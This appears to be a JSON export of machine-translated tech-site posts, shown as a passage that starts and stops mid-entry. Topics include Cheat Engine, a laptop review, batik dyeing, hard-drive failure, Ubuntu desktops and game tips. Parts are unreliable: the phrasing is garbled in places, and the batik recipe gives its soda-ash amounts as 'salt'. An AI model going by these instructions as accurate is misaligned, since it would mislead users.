modifiers enabled, CE will run in a background layer.\nDue to some concerns about gamers using the Cheat Engine to hack online games to gain an advantage over other players, you can only modify single-player titles. The program also hosts tools for OpenGL and Direct3D programs, integrating some debugging functions.\nCheat Engine only supports specific formats, such as CT2, CT3, XML, CET, GH, CT and AMT. The latest CE version provides custom types for Big Endian and a common point scanner for the base address. You won't have to worry about accidentally clicking on D3D hooks anymore, as the updated software will ask if you're sure you want to continue.\n  Expanded guidance Not everyone who downloads Cheat Engine for the first time understands how it works. Some features require extensive knowledge of coding and system processes. The CE website has several guides to help with this, including detailed steps for specific functions or cheat instructions.\nOne of the tools you can learn is Auto Assemble Keypress. Cheat Engine allows you to generate a code whereby cheats only activate when you hold a specified keyboard button. You need to save the program state first, then you can skip the 'reduce hp' process or set specific game values.\nThere is also a guide for custom scanning. For example, the Cheat Engine will multiply your value by eight while displaying the original numbers on the screen. You can also try any of its game cheat guides, such as Pinball for Windows.\nUseful cheat tool for gamers There are many players who use Cheat Engine to improve their single player experience. It's annoying to lose hours without being able to pass a table in the game. CE helps change variables, reduce load or increase character strength with improved stats and items.\nAdvantages\nSupport difficult games Quick memory scan Many editing possibilities Includes helpful instructions Defect\nNot user-friendly Only available for offline gaming Difficult to understand for normal players ncG1vNJzZmismaXArq3KnmWcp51ksKmxwK1knqaXnrumecOorqekn5axbq%2FHnpitZZWjtKq6xGafnqqV\n","link":"/post/cheat-engine-download-cheat-engine-here/","section":"post","tags":null,"title":"Cheat Engine - Download Cheat Engine here"},{"body":"The CQ60 419WM line of Compaq Presario is sold for nearly $ 300 with a basic configuration, but the performance is just a bit more than a netbook . Cheap laptop model Compaq Presario CQ60-419WM has officially been sold online on Walmart for nearly 300 USD, (over 5 million VND) for the basic configuration. The device carries a 15.6-inch screen, good image quality, ensuring to meet the basic machine needs such as surfing the web, writing documents, viewing digital photos, watching videos and DVDs.\n  This model has a 15.6-inch screen. Photo: Notebookcheck .\nCQ60-419WM has a neat, simple and fairly solid design, it doesn't look \"cheap\" at all. It has a large 15.6-inch screen, a standard-sized keyboard with separate numeric keys, optical DVD drive but no webcam. A rough plastic keyboard with smooth, wide and comfortable keys, however, is slightly \"noisy\" to use.\nThe speaker system of CQ60-419WM gives too good quality in price. Image quality will also make users happy with the 15.6-inch screen, resolution of 1,366 x 768. The DVD player is \"quiet\" and watching TV online at Hulu.com is also \"smooth\". The full CQ60-419WM peripheral and connection ports at the base level include 3 USB ports, VGA output port, DVD burner, modem, ethernet port and Wi-Fi 802.11b / g WLAN. It is easy to understand why CQ60-419WM does not have HDMI port and memory card reader.\n  It uses low-cost single-core processors. Photo: Handingchao .\nCQ60-419WM uses the low-cost single-core AMD Sempron SI-42 2.1 GHz processor, so it is just enough for the needs of ordinary users. The test results evaluate the machine performance quite differently. When running iTunes to convert 11 .mp3 music files to .aac took 6 minutes 36 seconds, on par with the processing time of mid-range laptops, but 4 times faster than netbooks. Benchmark results evaluated the system's capabilities by PCMark Vantage, CQ60-419WM was 1,829 points, approximately the lowest level of mid-range laptop models while the average of dual-core processor models was about 3,000 points. .\nExperimenting with 3DMark06 evaluated DirectX 9-based graphics capabilities and integrated Nvidia GeForce 8200M graphics cards with 768 points at native resolution and 816 at 1,024 x 768 resolution, respectively. average of \"affordable\" laptop segment. Battery life is quite limited, but commensurate with a large 15.6-inch screen. The CQ60-419WM can \"hold out\" for almost 2 hours, 25 minutes less than the average of 15-inch models. C60-419WM is preinstalled with Windows Vista Home Basic 32-bit operating system. In addition, there are commercial trial software such as Microsoft Works, Norton Internet Security, and Microsoft Office 2007 (60-day trial). Advantages - Cheap. - Widescreen. - Compact design. Defect - Single core processor. - No webcam. - Limited performance.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qoZpuha31utdJmmKxlk52yoryMmqpmppWpr7C7yg%3D%3D\n","link":"/post/compaq-cq60-is-as-cheap-as-netbook/","section":"post","tags":null,"title":"Compaq CQ60 is as cheap as netbook"},{"body":"TalkTV social network or old name ccTalk is attended by many young people now. After creating an account on TalkTV, users can conduct live stream, voice chat on TalkTV or create their own chat room.\nAnd if you want to join other people's chat rooms on TalkTV, it's easy. We will expand exchanges with many people on this social network, watching live games or their idols singing. Join the Network Administrator to join the chat room on TalkTV in the article below.\nGuide to creating and managing chat rooms on TalkTV Guide to streaming Live stream TalkTV Live on the phone How to install and configure audio on TalkTV Step 1: First you need to log in TalkTV account on the computer and access the interface. At the main interface, we will see a list of chat rooms such as HOT, Entertainment, Live, Game . If you choose Game room, you will see live chat rooms of games like League of Legends, DotA 2.\n  Step 2: When you click on the Entertainment room we will see a list of chat rooms for many different accounts. Each room has the ID of the live broadcast, the number of people online.\n  Step 3: When clicking on any chat room on the interface, we will know more details. If users click on the Follow button and Facebook , we will be taken to the idol's Facebook page and followed them if needed.\n  Step 4: In addition, if you continue to click on the Schedule section, you will be able to see other live stream shows on TalkTV.\n  Step 5: At each Schedule you will learn more about Schedule for today and Schedule for tomorrow with specific time frames. In addition the MC list will also be ranked according to Followers, Attractions and Popular Points.\n  The above is a basic guide for us to join the chat room on TalkTV, follow the live stream activities of our idols or friends. Besides, you will also use some of the features in the chat room, to make it easier to follow your idols.\nWish you join in the fun!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddn7yquoycn5qsXae8sLnSZqanZaSWuazA1WaanKyRobg%3D\n","link":"/post/guide-to-join-chat-rooms-on-talktv-cctalk/","section":"post","tags":null,"title":"Guide to join chat rooms on TalkTV (ccTalk)"},{"body":"Batik is a Javanese method of producing designs on fabric by using a wax resist. Once the fabric is painted with wax designs, it is placed in a dye bath where only the areas with no wax are dyed. Batik masters can produce complex designs...\nMethod 1of 3:\nBatiking Basics  Prewash your fabrics. Use hot water to wash the fabrics in a detergent (such as Synthrapol)[1] to remove chemicals and impurities that can affect dyes.\n  Dye your fabrics in base colors. These base colors are the colors that will show under the wax resist.[2]\n  Melt your batik wax. Batik wax comes in a brick that needs to be melted in either an electric wax pot or double boiler.[3] Use caution with hot wax. Do not heat it above 240° as it could begin to emit fumes or even catch fire. It is not recommended that you heat wax on the stove top. Wax pots and double boilers heat the wax slowly and at a lower heat.   Stretch your fabric on an embroidery hoop.[4] The hoop will keep the fabric taught and stable, allowing you to apply wax with greater precision. If you are applying designs to large swaths of fabric, you can lay newsprint or cardboard on your work surface without stretching it on a hoop. The wax will penetrate through the fabric, so a protective surface underneath is highly recommended.   Begin to apply the wax with your tools.[5] Various tools will yield different line qualities, so some experimentation beforehand is recommended.[6] Use a single-spouted tjanting tool to draw thin lines and designs. It is a standard tool that is very versatile and comes in a variety of spout sizes. A double-spouted tjanting tool creates parallel lines and can also be used in filling larger areas. Brushes can also be used to cover large areas. They can be used traditionally, in broad strokes, or as a stippling tool for a dot pattern. Use stamps for the application of uniform shapes. Stamps can be made of anything that can take the heat of the wax. Try carving a potato into a shape, or using the end of a celery stalk to stamp out half circles.   Regulate your wax temperature. The wax should be hot enough to penetrate through the fabric, but not be so hot and thin that it spreads when applied. The wax will be clear if it has penetrated to the other side of the fabric.\n  Get ready to tub-dye your fabric. When considering which dye colors to use, it is recommended that you begin with the lightest colors first (like yellow) and then move towards darker colors.[7] Wash your fabric in Synthrapol. Dissolve your dye by following instructions on the package. Some dyes (like reds) are harder to dissolve than other. Add in the appropriate amount of non-iodized salt. For a 1/2 pound of dry fabric, add in 1 1/2 cups of salt. For a pound of fabric, use 3 cups of salt. Add in your damp fabric. Stir gently, but frequently for 20 minutes. Mix up your soda ash. Soda ash, or sodium carbonate, is used to bond the dye to the cellulose in fiber. Dissolve the ash in warm water and add it into the tub slowly (over the course of 15 minutes), being careful not to dump it directly onto the fabric (which could cause discoloration). For each 1/2 pound of dry fabric, add in 1/6 cups of salt. For a pound of fabric, use 1/3 cups of salt. Stir gently, but frequently for another 30 minutes. Rinse you fabric and wash out excess dye. Run cool water over your fabric until it runs clear. Then wash it in hot water using Synthrapol. With some darker colors, like red or brown, a second washing may be necessary to remove all excess dye. Allow the fabric to dry.   Repeat another application of wax to add more layers of color and design. With every additional layer you wish to add, follow the steps for tub dyeing. Remember to tub dye your darkest colors last.\n  Remove the wax. When you are done with all the color dyeing, you may remove the wax in one of two ways:[8] Boil the wax out. Fill a pot large enough to hold your fabric with water and a few drops of Synthrapol. Once the water begins to boil, add in your fabric and weigh it down with a rock to keep the wax (which will be floating at the top) from re-bonding with the fabric. After a few minutes, the wax will pull out of the fabric. After all the wax appears to be out of the fabric, allow the pot to cool completely, and peel the wax layer from the top of the pot. Iron the wax out. Place the fabric between two sheets of absorbent paper and run the iron over the sandwiched fabric. The wax can leave behind a residue, so use care to ensure the wax is removed. Periodically changing out the papers can aid in wax removal.   Wash and dry your fabric. Throw your fabric into the washing machine with Synthrapol one last time to ensure all of the dyes have been released. Dry your fabric either on a line, or in the dryer. All batiked![9]\n Method 2of 3:\nBatiking Without Wax  Spread the plastic on your work surface. Lay your pre-washed and pre-dyed fabric over the overlapped sheets of plastic wrap.\n  Create designs using the washable resist medium. As with traditional batiking, you may use the single or double-spouted tjanting tool to create thin lines for designs. Use paint brushes to cover larger areas with the medium. Allow the medium to dry for approximately 30 minutes, though exact dry time depends on how thickly the medium was applied. Consider using stamps dipped in the medium to create a repeat pattern. You can use a stencil by placing it down on the fabric and dabbing the medium around it with a foam brush.   Mix up your liquid dye. Follow the instructions on the package to mix up the dye. If you are using a liquid dye, adjusting the water-to-dye ratio can create softer (add more water) or more vivid colors (add more dye).\n  Apply the dye. Dyes can be dribbled, painted, sprayed, or dabbed on. Consider mixing two or more colors together to create color variations.[10]\n  Cover the fabric with plastic wrap. Once you have finished with your dye application, cover the fabric with plastic wrap and seal the edges.\n  Nuke your fabric. Place paper towels on the bottom of the microwave oven to protect against spills. Place your plastic-covered fabric in the microwave oven (you may need to fold the fabric) and cook on high for 2 minutes.[11]\n  Remove the fabric from the microwave. Using thick rubber gloves, carefully remove the fabric from the microwave oven. The fabric will be hot, so use caution! Allow the fabric to cool for a few minutes before removing the plastic.\n  Wash and dry your fabric. Rinse your fabric under cool water until it runs clear. After you've removed the initial dye, wash the fabric in warm water with a mild detergent, and rinse. Dry your fabric.[12]\n Method 3of 3:\nBatiking Silk (Alternate Method)  Prewash your silk. Add a drop or two of liquid dish soap to a tub or bucket of water. Rinse and dry your fabric.[13] While still slightly damp, press your fabric with an iron set to the \"silk\" setting. If you wish to sketch out a design instead of painting it freehand, this would be done after ironing.   Stretch your silk. Apply safety pins connected to rubber bands around the edges of your silk--every 4–6 inches (10.2–15.2\u0026nbsp;cm). Lay your silk over the frame and begin to apply push pins to the frame. The rubber bands will hook around push pins set into the frame to create a taut trampoline. The rubber bands should be small enough to maintain good tension, but long enough to as to avoid tearing the fabric. You can link two rubber bands together to create longer ones if your frame is much larger than the piece of silk. The goal is to create a taut surface on which to paint. The surface should be taut, but should not be too tight that it begins to tear.   Elevate your frame. Place 4 plastic cups or containers under the frame to raise it off the work surface.\n  Apply your resist.[14] The resist can be applied with a paint brush, or through the narrow spout of an applicator bottle. Allow the resist to dry completely before moving on to color. Depending on preference, there are two type of resists that work well for silk painting: Rubber based resists, or guttae, are similar in consistency to rubber cement and can be diluted to a thin consistency useful for drawing finer lines. After the color has been set, they are removed by dry-cleaning the finished fabric. The downside of this resist is the fumes it produces. It is recommended that you use a respirator in a well-ventilated area when applying rubber based gutta. Water soluble resists are non-toxic, odorless, and wash away in warm water. These resists work well in conjunction with silk paints (as opposed to dyes), which are heat set with heat. The downside to this resist is that it's not as free-flowing as other guttae, and fine details are harder to achieve.   Apply your color. Carefully apply your dye or paint with a brush. Allow the color to flow towards an area of resist. Painting directly on the resist may cause it to dissolve and fill in. There are two options when it comes to color: Silk paints are pigment-based products that color the surface of the fabric, but do not penetrate into the fabric's fiber. These colors can be used on a wide variety of fabrics (including synthetics) and are set with a dry iron Silk dyes color fabric by forming a bond with the fibers in the fabric. These are a wonderful choice if you do not want to diminish the natural luster of silk. Colors are light-fast and washable.   Allow your painted silk to set for 24 hours. If you have opted for silk paints, heat-set the color by applying the iron for 2-3 minutes on the back side of the fabric. After ironing, rinse the silk in warm water, hang to dry, and iron again while still slightly damp.[15] If you used silk dyes, after allowing the color to dry for 24 hours, rinse the fabric until the water runs clear. Add a couple of drops of light detergent or dish soap to a bucket or tub and wash the silk. Rinse again with cool water, and hang to dry. When the silk is almost dry, apply a dry iron heated to the \"silk\" setting.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqRqbas\n","link":"/post/how-to-batik/","section":"post","tags":null,"title":"How to Batik"},{"body":"The 2018 World Cup atmosphere is getting hotter. Only a few days left, the most important football tournament in the world will open in Russia, during this time, buying a football projector to prepare for the World Cup will surely be a lot of followers. football care.\nCapturing this trend, network administrators will help you choose the best football projector. Helping you to enjoy matches in a voyeuristic way, bring sharp and clear images.\nInstructions for connecting the projector to a computer, laptop Top 5 best mini projectors 2018 Important factors when choosing a TV screen to watch the 2018 World Cup Resolution - the sharpness of the slideshow image As we know, the situations in the game often take place very quickly and elusively, if you do not want to miss the important and exciting game happenings, you need to choose a line of resolution High to meet the best images.\nHowever, it is not always necessary to choose projectors with too high a resolution, which is a waste. Depending on the size of the slideshow image you choose to match. When you zoom in on the big screen, it also means that you are stretching the pixel density on the frame, causing the image to start to break apart from the image. Usually with a projection size of over 100 inches you can choose from VGA resolution and above models that are fine for use as a football projector.\n  The brightness of the projector watching football An equally important criterion that you need to consider is the brightness of the projector, the higher the brightness, the brighter the projection image. You can base on the number of people and the room size to see the football as well as the ambient light to choose the right projector brightness.\nIf the screening room is a dark room or shown in the evening, the projectors with a light intensity of 800 - 1500 Ansi Lumens are a reasonable choice. If the show room has a large area, the lighting room is less impacted by the light, you should choose the models with light intensity ranging from 1500 - 2500 Ansi Lumens. If you are shown in the room under the influence of many electric lights or daylight, you need to choose the projector with light intensity on 3000 Ansi Lumens to meet the projection images when watching football World Cup 2018.   The contrast of the projector Basically, the projector's contrast ratio is the ratio between the brightest and the darkest area of ​​the image when playing. The advice for you is to choose a contrast ratio of 500: 1 or more to get the image in. If you want to use the 2018 World Cup football projector in a room with light, you must choose a machine with higher contrast ratio like: 2000: 1, 3000: 1, 10,000: 1 or higher.\nIn general, this is just a parameter of the projector that is not so important in showing a video or an image so you can ignore this factor. However, if you have a financial balance, you can choose products that have as much contrast as possible according to your financial level.\n  Proportion of screenings in the room The rate of presentation is the minimum and maximum ratio when projected on the screen is how many inches. Same as above, the selection of the projection rate is based on the number of viewers, how the viewing space is football. For example, the number of viewers is over 50 and the space is large, the projectors with a large projection of 30 - 300 inches will be an accurate choice.\n  In short, to buy the best projector to watch football, you need to consider the above factors. At the same time, based on the financial situation and the presentation environment, select which projectors to choose in order of priority. Usually football matches usually show in the evening or watch indoors. This is an advantage that you can buy cheap projectors to use. Provided that the projection environment is without or with little light, you will not need to choose high-intensity projectors, but simply choose moderate-intensity projectors that can meet your needs. watch football with a large screen over 100 inches.\nSee more:\nExciting 2018 World Cup with attractive football game on the phone How to add 2018 World Cup schedule for Google, PC, phone The best 2018 World Cup apps for mobile ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYytn55lkprAtXnPq6ajnZOpvLN5xaipZq%2BRqbCptc2gZGtoYW16uLvRpZtmm6Wleqe7zq2ZmqSc\n","link":"/post/how-to-choose-the-best-projector-for-watching-2018-world-cup-football/","section":"post","tags":null,"title":"How to choose the best projector for watching 2018 World Cup football"},{"body":"After a certain period of use, electronic components in general, computer components in particular will begin to encounter \"problems\" and the hard drive is no exception. If you often suffer from the following errors, it means that the hard drive is corrupted and it is time to \"replace new clothes\" for your hard drive. Parallel to that, do not forget to back up important data to an external hard drive or use online services like Dropbox, OneDrive.\nCorrupted error message when accessing data In the process of retrieving data, if you frequently encounter a \"Corrupted\" message when opening one or more files, it is certain that these files are completely free from closing. improperly or vandalized.\n  In addition, if you often encounter data that has just been saved, \"disappear\" without any impact from you. If this is the case, make sure the computer system has a problem, and more specifically, the hard drive.\nSticky error Bad Sector In the process of accessing data from the hard drive, the error that we most often encounter is Bad Sector. These are hard drive areas that fail to maintain data integrity, they will gradually occupy the capacity of the hard drive, if the data is saved in bad sectors, then it is difficult to be safe.\n  This is also the cause of the error that we sometimes encounter: the hard drive still appears in the BIOS configuration, in DOS but then the system hangs, does not boot; The system identifies the name but the wrong or wrong name; when ordering reading to write a certain file, the system reports an error or hangs .\nBad sectors are arranged in 2 categories, including: bad sector type due to physical error of hard drive (cannot be fixed) and bad sector type due to software error (can be fixed). There are many causes of Bad sectors but in short, when this error has occurred, your hard drive needs to be replaced.\nHard drive emitted a strange \"noise\" Perhaps this is the most recognizable \"symptom\" about the time to replace the new hard drive. When you start your computer or during the data retrieval process, you hear the \"clatter\" sounds coming from the hard drive, you should immediately replace the hard drive immediately.\n  The cause of frequent \"rattling\" noises is because the reader tries to write data while the hard drive has failed or failed.\nTesting SMART gives incorrect results Computer hard drives use SMART data (Self-Monitoring, Analysis, and Reporting Technology) to assess reliability and determine whether there are errors. Therefore, you can view SMART data in the hard drive to detect upcoming problems with your hard drive.\n  There are many tools that predict hard drive errors by reading SMART data in the hard drive recorded by the operating system. Like most of the other phenomena listed above, SMART data sometimes has errors during operation and \"disaster\" will occur just before SMART warns.\nIf you want to test the SMART data of the hard drive yourself to \"diagnose\" the situation, you can use reliable tools like CrystalDiskInfo , HD Tune , HDD Health or HDD Scan . All are almost completely free and give quite accurate results so you can safely use it.\nThe computer hangs and a blue screen appears In addition to the above signs, the status of your computer is becoming more or less sluggish or hanging or more serious is the appearance of a series of errors related to the system and software that are typically blue screens \"die \"you should proceed to back up data immediately.\n  However, you should try to reinstall the operating system for the computer to see if the status still exists, if so, then the computer's hard drive is definitely having problems. And the replacement is the right thing to do.\n5 mistakes easily \"kill\" SSDs Advice on buying an external hard drive How to replace hard drive for Laptop? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGUmru1tcWyZKGZopl6pb7Ir5xmnpGeuba%2BxGafmqqUYrGztdWeZJ%2BZmaHCs7GMm5idZZiWv6V5w6ugr51dpLtuw8inm6ivow%3D%3D\n","link":"/post/how-to-identify-hard-drive-failure-hard-drive-failure-bad-hard-drive-on-windows/","section":"post","tags":null,"title":"How to identify hard drive failure, hard drive failure, bad hard drive on Windows"},{"body":"For Google Slides presentations, adding images or animations to presentation slides adds richness to the content of the presentation, instead of just using text alone. Inserting images into Google Slides has a lot of different options, just like when you insert images into PowerPoint. We can upload photos, insert photos from Google Drive, take photos via webcam to insert directly, . The following article will guide you how to insert images into Google Slides.\nInstructions for inserting photos into Google Slides Method 1: Insert photos from your computer to Google Slides At the interface in the slide we click the Insert button and then select Photos and then select Upload from computer .\n  Then we click on the image you want to insert into the slide. You will then see the image displayed in the slides. We move the image position or edit the image as we like. Manipulating the image editing insert in the slide you read the article How to edit image inserted in Google Slides.\n  Method 2: Insert photos and GIFs via the URL Google Slides supports users to insert images via URLs including animations. We will choose to insert the image by URL.\n  Display the interface for you to enter the dynamic URL you want to insert into the slide. We then wait for the Google Slides to scan and identify the image. When the animation appears as below, click Insert to display the animation.\n  The displayed gif image is adjusted to fit the slide, and if you want, you can also adjust the smaller.\n  Method 3: Insert photos and GIFs from Google Drive, Google Photos If you've downloaded photos from Google Drive or Google Photos, users can also get photos from these two sources.\n  Now on the right side shows the interface of where to take photos. We click on the image we want to insert into the slide, we can insert multiple images at the same time. Then click Insert as shown below. The selected image result is also inserted into the slide.\n  Method 4: Insert photos directly In order to use Live View Camera, you need to agree to let Google Slides use your browser webcam .\n  Press the yellow button to take a picture, and then press Insert to insert the picture.\n  Method 5: Find photos via Google Search With this method, you will find photos via search engine on Google.\n  Display the search interface on the right side of the screen, enter the image keyword to insert and then click the image, click Insert below is finished.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIypn6isn6h6orrDZp6inqNitq95xqimoKSVYsCttcOeqg%3D%3D\n","link":"/post/how-to-insert-photos-and-gifs-in-google-slides/","section":"post","tags":null,"title":"How to insert photos and GIFs in Google Slides"},{"body":"Ubuntu brings multi-color experiences to users. But all these experiences are based on a familiar desktop environment. It is also the biggest omission of Ubuntu-based distributions. Typical examples of the important role of desktop environments are Linux Mint with Cinnamon and Elemantary OS with Pantheon.\nBecause Elemantary OS is based on Ubuntu LTS releases, it is not too difficult to get Pantheon on Ubuntu. Actually, it is available in a PPA maintained by the Elementary developers. But there is one big question you need to find yourself: If you plan to use LTS version of Ubuntu, you may want to use Elementary OS instead? Elementary is basically Ubuntu designed to work on Pantheon with some other remarkable quality improvements. If you prefer to use the latest Ubuntu versions with Pantheon, adding PPA is the best option. Just be aware that packages are built for the latest LTS.\nInstructions for installing Pantheon Desktop on Ubuntu Add PPA Install Pantheon Restart into Pantheon Add PPA To get started, add PPA to the Ubuntu system. If you are using Bionic or another previous version, everything will be easier. Please add PPA with Apt.\nsudo apt-add-repository ppa:elementary-os/stable  If you have a non-Bionic distribution, such as Cosmic, you'll need to do this manually. So create a new file for configuration.\nsudo touch /etc/apt/sources.list.d/elementary.list  Now add the following lines to the file.\ndeb http://ppa.launchpad.net/elementary-os/stable/ubuntu bionic main deb-src http://ppa.launchpad.net/elementary-os/stable/ubuntu bionic main  When finished, enter the key for the repository.\nsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 6C8769CEDC20F5E66C3B7D37BF36996C4E1F8A59  No matter how you use it, update Apt and get ready to install Pantheon.\nsudo apt update  Install Pantheon With PPA added, you can bring almost everything from Elementary OS to your Ubuntu system. There are several ways to do this. First, you can install everything very quickly.\nsudo apt install elementary-meta      During the installation process, Apt will stop to ask which log manager you want to use. Choose LightDM. It's like using Ubuntu with Unity and works well when you want to go back to Gnome.\nNext, you can set up the desktop.\nsudo apt install elementary-desktop  If you want all the themes and icons in Elementary, you can also get what you want there.\nsudo apt install elementary-artwork elementary-theme elementary-wallpapers elementary-icon-theme  You can install any other packages from Pantheon with PPA. You can find the entire list on the Launchpad page.\nWhen you're done, it is recommended to update Ubuntu to see if there are any new packages that match the versions in the PPA.\nsudo apt upgrade  Restart into Pantheon   When you have finished installing Pantheon and updating Ubuntu, you can restart Ubuntu. When Ubuntu completes the reboot, you should choose LightDM instead of GDM (GDM is the default option). It is a signal that everything works well. Click the desktop icon to change the environment you want to log in to. Pantheon will be listed as an available option, and you should choose it.\n  When logging into the Pantheon desktop, you will be greeted with a combined interface between Ubuntu and Elementary OS. You can use the settings to change the theme the way you want. Pantheon is a GNOME-based GTK desktop, so most compatible themes will work with Pantheon.\nThe whole process is done through PPA, the tool is always maintained for Elementary OS, so there is no risk to the Pantheon desktop. You can update Pantheon with Ubuntu to get the latest benefits from Elementary OS. You may need to change the file in your repository to see the new releases.\nGood luck!\nSee more:\nInstructions for installing MATE screen on Ubuntu Linux Mint's Cinnamon installation guide on Ubuntu Instructions on how to install Ubuntu on VirtualBox virtual machine ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3qiusNmoKerpJa5rXnPmqWtoJWku26wxKyiraegYryvedSbrKespQ%3D%3D\n","link":"/post/how-to-run-and-install-pantheon-desktop-on-ubuntu/","section":"post","tags":null,"title":"How to run and install Pantheon Desktop on Ubuntu"},{"body":"Recently, EA officially introduced the FIFA 2020 game title and announced the first Beta opening to help gamers download and experience now.\nSpecifically, Beta time will take place from August 20 with limited number of participants. In this Beta phase, EA Sports is providing about 2,500 slots with access for testing. The other 2,500 slots will continue to be provided by EA for the next beta test.\n  Adroid Android gamers can participate in this Beta and experience FIFA 2020 Mobile Beta via Google Play under the link below. IOS gamers can join Beta through TestFlight application but unfortunately this is now Full.\nFIFA Soccer: Beta on Google Play The publisher of EA released the Beta version not only to create conditions for people especially hard fans of this football game to have the opportunity to experience innovation points but also wish to receive comments. of everyone to help the developer team develop and improve this game.\n  FIFA 2020 Mobile graphics will be significantly upgraded, the player's movements are smoother, the facial expression is also more natural and added dance celebrations.\nThe way to play and control in FIFA 2020 Mobile will also be noticed by the publisher.\nNote: Since this is only a Beta version, your play will not be saved.\nAlready able to register before the Pokémon Masters Classic \"medicine\" game, Dr. Mario World Mobile version is available on the App Store, invite download and experience ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyfYr2trdhmnJqqnK56o7HTmmSvnaKotrC6jKidZqyYmnqorcyeZJ%2BhlpZ6c3yRaWSmp5KeuaY%3D\n","link":"/post/invite-to-play-early-beta-version-of-the-game-fifa-2020-mobile/","section":"post","tags":null,"title":"Invite to play early Beta version of the game FIFA 2020 Mobile"},{"body":"Recently, there have been many rumors that Microsoft is developing an entirely new cloud-based printing solution, supporting many handy features. Today, Microsoft has officially announced this platform called Universal Print - a cloud-based printing infrastructure, designed to give users a very simple, rich printing experience. and safe, and significantly save time and effort compared to traditional print processes.\nCurrently, large organizations and businesses often deploy multiple Print Servers, connecting printers to client computers through a network. The Print Server is responsible for managing user-initiated jobs based on the availability of printers connected to the network. Universal Print simply transfers the full functionality of Print Server to the cloud, so organizations no longer have to set up and manage print servers on-premises, and there is no need to install printer driver on. all equipment, greatly saving the cost of building and operating the system.\n  Universal Print integrated with the Azure cloud will allow administrators to manage their print devices without deploying print servers as before:\nRegister the printer with Azure Active Directory. Control printer properties and configuration from a central location. Manage access of individual users and groups of users to printers throughout the system, managed and displayed through the cloud. Microsoft is currently working with printer manufacturers such as Canon and HP to add native support for Universal Print on new upcoming printer models. For current printers, you only need to use the Universal Print proxy application to connect the printer to Universal Print.\nOrganizations and businesses that want to deploy a private preview of Universal Print must be using Windows 10 Enterprise or Education versions 1903 or higher, and Azure Active Directory (any version). Universal Print does not require Windows Server.\nLink to refer to the Private Preview of Universal Print:\nhttps://forms.office.com/Pages/ResponsePage.aspx?id=v4j5cvGGr0GRqy180BHbR48mwbnEXWRFgC2n-gLkrLFUMkQ3SkpaRlEyWUIwQzZNUFhQNkg4ME8xNy4u ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrmiwc2cn56rXaq7qsLEq6qapF2lv6q602aYZpufor2tsdOeo7JlnprEbq%2FLqKydmpGosqV5z6ugp6xdqLKzwsSrZKynnKrBqrvN\n","link":"/post/microsoft-launches-universal-print-a-completely-new-cloud-based-print-server-solution/","section":"post","tags":null,"title":"Microsoft launches Universal Print, a completely new cloud-based print server solution"},{"body":"It's not the kind of game that people just pick and play, but the gamer needs to first be concerned with how all the different driving mechanics work. However, with a little persistence, Gran Turismo 7 is a great racing game.\n  During the first few hours of the single-player campaign in Gran Turismo 7, novice players can feel frustrated, both in terms of the game and its abilities. However, the following tips and tricks will make the racing experience in Gran Turismo 7 more enjoyable, while helping players avoid some common mistakes.\nProfessional racing tips in Gran Turismo 7 Turn on the visual aids to learn the tracks At the start of the game, Gran Turismo 7 provides only one visual aid to learn the tracks, that is, marking the player's starting and ending points.\nHowever, by adjusting the settings, people will also find other tools that will help learn the track, specifically the point of need to brake, like the image below.\n  It is important for players to enable these supports from the beginning as they will not reduce the amount of bonuses received at the end of the race.\nChoose the highest difficulty Although, for new players, the easiest level is always preferred, this game is the exception. Gran Turismo 7 has 3 difficulty levels and the highest difficulty is a good way to fully enjoy the game.\n  At this difficulty level, players will see confident opponents with superior skill and counterattack whenever the opportunity arises. By practicing and playing the hardest levels, gamers will participate in the most exciting confrontations.\nDo not drive the car too fast, causing loss of control Once in the Tuning Shop, the strongest temptation will always be to increase the vehicle speed. However, keep in mind that the vehicle will become more and more difficult to handle as the PP gauge increases. In GT7 it is very important to keep an eye on the ratio between the speed a vehicle can reach to the speed the car can achieve without becoming difficult to control.\nCheck old car every day   Used car dealers are back in operation in Gran Turismo 7. Here, players can buy cars at a much more favorable price than buying at Brand Central. But it's not just about saving money, the dealership also includes some very rare vehicles that can only be purchased here.\nDon't rush to win At least in the first playthrough, winning the GT Café events doesn't really matter. Even in third place, the player will still receive the reward car. But above all, by driving smoothly, without hitting an opponent on the track or recklessly cutting at any turn, everyone will have a better chance of getting closer to the top of the race. Also, be aware that the last one or two laps will have the cars ahead slowing down, giving the player a chance to win the race, or at least to try it out.\nncG1vNJzZmismaXArq3KnmWcp51kvbO7xZ6qrKGfo66tedGamqKml2LBqrzSZqCnZZenrq95066poqudpHp4\n","link":"/post/professional-racing-tips-in-gran-turismo-7/","section":"post","tags":null,"title":"Professional racing tips in Gran Turismo 7"},{"body":"Ubuntu 19.04 Disco Dingo has been officially released for several months and now is probably the right time to spend some time discussing the upcoming Ubuntu 19.10 'Eoan Ermine'.\nUbuntu 19.10 development plans of course have begun to be deployed, but so far, there is not much information about the new features that will appear on this new version.\nUbuntu 19.10 is a relatively important release because it will shape the development process for Ubuntu 20.04 LTS (long-term support). Therefore, the community is looking forward to the emergence of new, notable features in this version. In other words, Ubuntu 19.10 will be a glimpse of the features you will have in Ubuntu 20.04.\nIs CentOS or Ubuntu the best web hosting server operating system?   So what is the specific release schedule for Ubuntu 19.10? Are there any notable features that will be featured on this version? We will find out now.\nRoadmap for Ubuntu 19.10 Eoan Ermine release The release date of Ubuntu 19.10 has been fixed on October 17, 2019. This is a pre-planned milestone in the draft release roadmap on the Ubuntu wiki.\nA number of other important milestones in the Eoan Ermine development cycle have also been fully listed, including:\nFeature Freeze (freeze feature - no more functions added): August 22, 2019 Kernel Freeze (fixed kernel): September 26, 2019 Final Freeze (final version): October 10, 2019 Do you want to experience the Beta version?\nBeta release: September 26, 2019 The stable Ubuntu 19.10 release will eventually appear for servers worldwide to download in mid-October:\nFinal release: October 17, 2019. However, it should be noted that this is only an outline of the draft plan, all of the above timbers can be changed at the last minute if a problem occurs.\nFor the name Eoan Ermine, this is the codename of Ubuntu 19.10. My vocabulary is not very large so I had to look at both words in the dictionary. Eoan 